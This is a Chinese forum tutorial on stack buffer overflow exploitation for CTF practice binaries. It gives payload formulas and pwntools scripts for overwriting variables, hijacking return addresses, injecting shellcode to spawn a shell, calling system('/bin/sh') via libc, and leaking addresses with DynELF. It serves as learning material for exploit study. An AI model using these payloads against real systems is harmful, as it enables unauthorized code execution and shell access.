今天的文章是i春秋论坛作家「HAI_」表哥原创的一篇关于bof的学习攻略,他把学习过程中感悟与心得分享给需要的小伙伴,感兴趣的童鞋快来学习吧!
分类
1、数据覆盖;
2、返回地址函数跳转;
3、函数覆盖调用;
4、函数构造;
5、off计算以及bss数据写入。
数据覆盖
先来解释一下数据覆盖是指什么,这里是说,通过溢出来覆写其他位置的数据,达到某种效果。一般题目比较常见的就是更改逻辑判断。
溢出有一个东西是不变的,就是你既然要溢出,那么必然要写满才能溢出。
那么如果判断是bof的话,第一步找到溢出点,第二步就是用无用的数据填满。
公式:
payload=需要覆盖垃圾数据的量+需要覆写的内容
需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址
整理一下就是payload=待覆盖变量地址-溢出变量地址+需要覆写的内容
那么按照这样子的逻辑我们来看一个例子:
汇编看不懂没关系,F5也行,前期不要求。
这里可以看到我们溢出点在get上,并且需要用s去覆盖a1,那么按照公式:
待覆盖变量地址=ebp+arg_0=ebp+8
溢出变量地址=ebp-2Ch
需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址=ebp+8-ebp-2Ch=8+2ch=34
需要覆写的内容=0xCAFEBABE
payload=34个垃圾数据+0xCAFEBABE
这里使用pwntools进行payload的生成,自己写也没问题。
from pwn import *
payload=0x34*'A'+p32(0xCAFEBABE)
print(payload)
返回地址函数跳转
1、目标提供了system函数
这里就是说覆盖地址把返回地址之前的内容都覆盖完了,那么这里就获得了返回地址的覆写权,也可以说是操作权。
一般什么时候会用到这个东西呢,比如说,这个程序有一个方法,但是在却没有进行调用,我们就可以通过控制返回地址来达到覆写执行的目录。
可以简单的理解为 就是执行了一个 goto跳转。
公式:
payload=覆写垃圾数据+返回地址的值
这里也来举一个例子:
这里可以看到一个good_gaem函数。
可以看到是读取了一个flag.txt的文件。
按照公式我们来找:
覆写垃圾数据=0x88
返回地址的值=0x400620
那最后的payload=0x88*'A'+0x400620
这里还是使用pwntools来进行payload的生成
from pwn import *
payload=0x88*'A'+p64(0x400620)
print(payload)
2、目标没有提供system,需要自己写shellcode。
这里就是说nx没有开启保护的情况下,就可以自己来进行shellcode的编写,一般可以写shellcode要求填充数据的位置要够。
公式:
payload=shellcode+(垃圾填充长度-shellcode长度)的垃圾数据+返回地址(shellcode)的地址
还是举个例子:
这里可以看到是read导致的溢出。
然后这里看到打印了地址:
效果大概是这样:
那么我们还是按照公式来找,首先是填充字段=0x88。
返回地址需要进行动态截取,就需要使用pwntools进行,shellcode也是用pwntools生成,真的是十分方便。
from pwn import *
sh = process("./lx3")
shellcode = asm(shellcraft.i386.linux.sh())
line = sh.recvline()[14:-2]
buf_addr = int(line,16)
payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
sh.send(payload)
sh.interactive()
sh.close()
函数覆盖调用
这里是指,在没有函数让我们进行goto跳转也就是操作返回地址的时候,就需要对函数进行主动的调用。
公式:
payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...
这里来看一个实例:
还是read的溢出点
覆盖垃圾地址=0x88
这里返回地址直接随便填就行
覆盖返回地址='A'*4
函数地址=0x0804824B
函数地址我们ida shift+f12 看一下string
这里返回地址如果没有要执行下一步的话,直接返回垃圾数据就行。
返回地址='A'*4,参数1=/bin/sh=0x0804A024。
至此我们payload是构造出来了。
写脚本即可:
from pwn import *
payload=0x88*'A'+0x4*'A'+p32(0x08048320)+0x4*'A'+p32(0x0804A024)
print(payload)
函数构造
上面说了函数覆盖调用,这里来说函数构造,指目标本身不包含system等命令的时候,我们需要从别的地方下手。
我们选择从lib so库中下手,获取system等地址。
公式:(公式和函数覆盖调用一致,只是获取方式不同)
payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...
举个例子:
还是read溢出,我们开始找公式内的内容。
覆盖垃圾地址=0x88
覆盖返回地址=0x4
这里找函数地址,找函数地址前,先找基址,这里可以看到基址为0xf7ce8000
system函数地址:0x000426e0
/bin/sh 参数1:
最后就可以组成payload了,构造方法参考上面内容。
off计算以及bss数据写入
有一种情况就是说,没有so库,并且也没有办法获取到在线目标so库的内容,那么就需要通过write去找基址。
公式:(公式还是这个)
payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...
可以继续用上面的例子,这里使用pwntools的DynELF获取到system地址。
def leak(address):
payload=junk+p32(write_addr)+p32(start_addr)+p32(1)+p32(address)+p32(4)
p.sendline(payload)
leak_addr=p.recv()
return leak_addr
d = DynELF(leak,elf=ELF("./lx2"))
system_addr = d.lookup('system','libc')
通过DynELF方式可以获取到system的地址。
然后还需要将我们的/bin/sh加载到bss上去,这里需要使用read方法:
payload2='a'*(0x88+0x04)+p32(read_plt)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
p.send('/bin/shx00')
这样就可以将/bin/sh写到bss字段中,最后构造成payload。
以上是今天要分享的内容,大家看懂了吗?